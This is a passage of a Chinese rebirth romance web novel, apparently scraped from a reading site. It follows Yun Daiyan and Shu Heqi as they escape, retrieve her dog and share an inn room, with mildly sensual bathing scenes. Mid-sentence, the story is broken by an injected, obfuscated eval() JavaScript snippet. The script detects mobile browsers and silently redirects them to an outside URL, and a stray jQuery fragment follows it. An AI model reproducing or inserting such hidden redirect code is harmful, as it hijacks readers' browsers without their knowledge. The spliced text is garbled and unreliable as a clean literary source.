舒鹤栖行李不多,书全都留给了恩师,只带着换洗衣物和攒下来的稀薄财物踏上去接云黛胭的路途。
而今那些行李堆在马车里,存在感几乎于无。但他还是从行李里翻出一些绵软的衣裳,叠成软枕形状,侧首看她,目光柔软:“黛黛,先好好睡一觉吧。”
云黛胭整日都没有合眼,眼皮直打架,如今最大危机解除,困倦感铺天盖地袭来。
她枕在他的衣物上,心中本能想松懈,但脑中仍有一事牵动她的心绪:“马车驶到城南的时候,停一下。”
欲驾马前行的舒鹤栖闻言一顿,问道:“怎么?”
云黛胭掐了自己一把,让自己保持短暂清醒,可说出口的话还是不自觉带上迷糊的尾音:“我把肉团委托给一户农家照料,我要带它一起离开。”
上一世她与舒鹤栖出逃匆忙,根本没有机会把肉团从大伯父的眼皮子底下带出去。后来他们夫妇二人刚在泉南安顿好,就从来看望她的江叔口中得知那小犬的结局——自她去后,绝食而死。
它是她如今唯一的亲人,这一世她无论如何也不能再丢下肉团了。
舒鹤栖听罢,想起前世她听闻肉团死讯那日,面上看着没什么,夜里却偷偷哭到浑身蜷缩,喉中逸出极力压抑却压制不住的悲声,好似不只是在哭她的小狗。
“好,你先睡吧,等到了那里,我喊你。”
云黛胭得了他允诺,心下稍安,原想再撑到把肉团接到身边再睡,但听罢他的话,身体紧绷的神经顿时松懈下来,眼皮也在轻微颠簸的马车里慢慢合上。
因心事重重而噩梦频频的睡眠今日出奇安稳,她闭着眼,梦到小时候和父亲一起去城郊踏青,父亲把她抱在肩头,让她去摘树上高挂的各色花卉,给她讲每一朵染就什么颜色的衣料。
风静水清,幼时养的小犬在高过它身体的草丛中奔跑,带着一身细碎的草叶,蹦跳扑进蹲下身迎接它的云黛胭怀中,而后用软乎乎湿哒哒的舌头不住舔她下巴。
梦中美好记忆犹如在眼前,似幻亦似真,真切到好像下巴真的被什么舔舐,那湿乎乎的感觉逐渐蔓延到了脸上。
云黛胭骤然睁眼,下意识抱住脸前的一团毛茸茸。小犬见到主人睁开眼,摇成扇子的尾巴更是旋出风来。
她恍惚起身,一把抱起肉团,方才梦中的不切实际才有了真实触感。
舒鹤栖正掀帘往里看,估计刚把肉团放进马车,云黛胭就被它舔醒了。这会儿看到车中主宠情深,自觉要放下马车帘继续赶车。
“等等,你是怎么知道肉团在哪家的?”云黛胭本能觉得有些不太对劲,出口探问。
舒鹤栖迎上她的狐疑的双眼,目光坦诚:“刚停罢马车,瞧见吃过晚膳在外闲聊的农人。其中有一个,我在云府见过,他们来感激二老爷出手接济。我想,二姑娘应该会找承过恩的人家来托付爱宠,所以便问了一下。”
“哦……”云黛胭了然,露出一点自父离世后甚少出现在脸上的浅笑,由衷道,“多谢。”
舒鹤栖见她笑靥,胸口好似被什么撞了一下,像是方才抱肉团时被又踢又打的感觉,但被肉团踢蹬,心是不会跳这样快的。
他回迎以笑,转过身去,慢慢抚上自己的胸口,良久才驾马车离开此处。
他一边驾车,一边扬声道:“我们直接自城南出去,先在路上找客栈投宿,你现今的身子不宜连夜赶路。”
云黛胭不放心:“我怕大伯父他们追过来。”
“不会的,”舒鹤栖回答得十分笃定,而后又有些赧然道,“我去寻你之前,先去云家放了一把火。”
云黛胭:……
“做得好。”她夸他,声音扬得高高的,连带着怀里的小肉团都被她奖赏般狠狠地揉了揉,伏在她胳膊上发出稀里糊涂的低鸣声。
作为商贸极为发达的江陵,周边最不缺的就是客栈,即便两人挑了最偏僻的一条路赶,也能十分顺利寻到陈设还不错的客栈投宿。
当然,两人只要了一间房。
他们最亲密的事都做了,云黛胭自然不会有什么不自在的感觉。舒鹤栖心底大抵想起她许诺他们二人日后以夫妻身份相处,也或许想起昨日缠绵画面,耳边泛着淡淡的微红。
她路上眯了会,稍稍回了点精神,没有再到那种困得要死的程度。今日拼命狂奔,又受惊吓,出了一身汗,一身黏黏糊糊的。
她踢了鞋子,坐在床边,肉团枕着她的鞋,昏昏欲睡。
不需要她说什么,舒鹤栖便清楚她的意图,弯腰将她踢飞的另一只鞋子拎到床下,柔声道:“我去叫他们打水来。”
客栈伙计动作很快,不一会儿,浴桶里便蒸腾起雾意。
舒鹤栖欠身伸手试了试水温,确认差不多后,合上房门,走到床边,向云黛胭伸出手来。
她自然而然地勾住他的脖子,被他抱起,待他走了两步才想起来,属于上一世的亲昵在这一世重现了。
正常沐浴完从浴桶出来,用布巾擦干全身,换上干净寝衣,穿着浴屐行动。
但云黛胭被娇宠惯了,最开始与舒鹤栖过清贫日子,自己拿棉布擦干全身已是极限,加上他们落脚的地方不比在云家地面洁净,她不想弄脏自己,坐在小凳上弯腰擦脚的动作就更为笨拙。偏生她又不肯湿哒哒上床,憋着一股气擦干,赤裸的身子便在这不短的时间里冻病了。
所以舒鹤栖便在她擦干身体穿好寝衣后抱她坐到床边,然后给她擦脚。
再后来两人没有刚成婚那会儿生疏,对方的身体都看惯了。云黛胭犯懒,直接要求舒鹤栖抱她去洗,洗完再把她抱出来擦干。浴屐落在浴桶边不挪窝,唯一的用途便是舒鹤栖在为她擦拭身体的时候,做她双脚的落足点。
她的身子有些僵硬,望向舒鹤栖的神情不太自然。
他是不是也跟她一样……
思索间,舒鹤栖将她放在了浴桶旁,四下寻找浴屐。
云黛胭凉凉开口:“就这几步路,也没必要抱我过来。”
舒鹤栖闻言身子一顿,直起身来,若无其事:“肉团睡得很香,如果要穿鞋,势必会惊醒它。”
云黛胭闻言下意识扭头看去,恰见肉团枕着她的鞋子睡得香甜。
疑惑消解,她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720082|184882||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
有些懊恼。
她怎么会那么想呢?舒鹤栖如果真的与她一样重生归来,见她种种行为,必能猜出她也和他一样,也一定能猜出她本意并不想嫁他,上一世的相濡以沫说白了都不过是利用。
依照他的风骨,必然会生出极大的被羞辱之情,也绝不会再重蹈覆辙了。
“怎么了?”舒鹤栖轻微歪头看她,声音柔得像潺潺流动的春水,“再不洗的话,水要凉了。我没瞧见浴屐,我拿件旧衣服来给你垫脚。”
“好……有劳你了。”
他儒秀的面目闻言有些紧绷,旋即绽开一个无奈的笑。轻如微凉春雪的吻落在她的额头,他微微退开,迎上她的眼:“不必与我这般疏离客气,你说过的,现在我们是……夫妻。”
夫妻。
她沉在浴桶里,被暖热的水包围,一层层泡软紧绷的神经,都还在想这两个字。
她是有些庆幸的,这一世她与他没有夫妻名分,届时想要离开他,不会太麻烦。
可她又为这细微的庆幸而心虚。
她父亲言传身教的仁善告诉她不该这样利用舒鹤栖如此纯粹的真心,可她自小在不怀好意的家庭中长大而养成的性子又告诉她人不为己天诛地灭。
她沉在水中纠结良久没有动静,舒鹤栖觉得不对劲,出声唤道:“黛黛?”
云黛胭猛地回神,伸手撩水往自己身上泼,含糊道:“我没事。”
她昨天才被舒鹤栖里里外外清理干净,现下只是去除身上的汗湿,一会儿便从水中出来,踩在他放置的旧衣上,粗粝的布料蹭得她脚心有些发痒。
将身上擦干,换上寝衣,她只轻咳一声,舒鹤栖便走了过来,把她抱到床上。
肉团被这轻微的响动吵得咂咂嘴,换了个姿势窝好继续睡下。
将云黛胭放到床上的舒鹤栖没有退开,反倒十分自然地拿起早就备好的棉布,给她擦拭仍湿的长发。动作轻柔,发间摩擦的窸窸窣窣声撩得云黛胭耳朵痒。尤其是他小指腹偶尔挣开棉布的阻裹,不小心剐蹭到她的侧脸与后颈,被那羽毛似触感扫过的地方,起了密密麻麻的寒栗子。
她怕痒,挤着肩膀去蹭,舒鹤栖掌着棉布揉搓的手略微摆正她的头,低声道:“别乱动,水珠会甩被褥上,睡觉不舒服。”
“痒……”她吐息,脸燥得厉害。
“哪里痒?”他声音有些喑哑,若非她的视线被棉布阻挡,必能看到他深暗的瞳眸。不过不必看也能知道,他此刻的蠢蠢欲动。
云黛胭抬手揉了揉发痒的地方,嘀咕道:“没事了。”
舒鹤栖没说话,闷声不言将她头发擦到微干的程度,最后用棉布裹了裹她的头,转身离开床前。
云黛胭忙不迭捂着燥红的脸躺下,没躺一会儿,就听到入水声。
舒鹤栖用她洗过的水接着沐浴。
这也不是第一回,从前没钱的时候,一直都是这样。但这件事现在传递的信号可不是相濡以沫,而是干柴烈火。
他方才一定情动了。
而她……
云黛胭难耐地并拢腿,往床内侧挪了挪。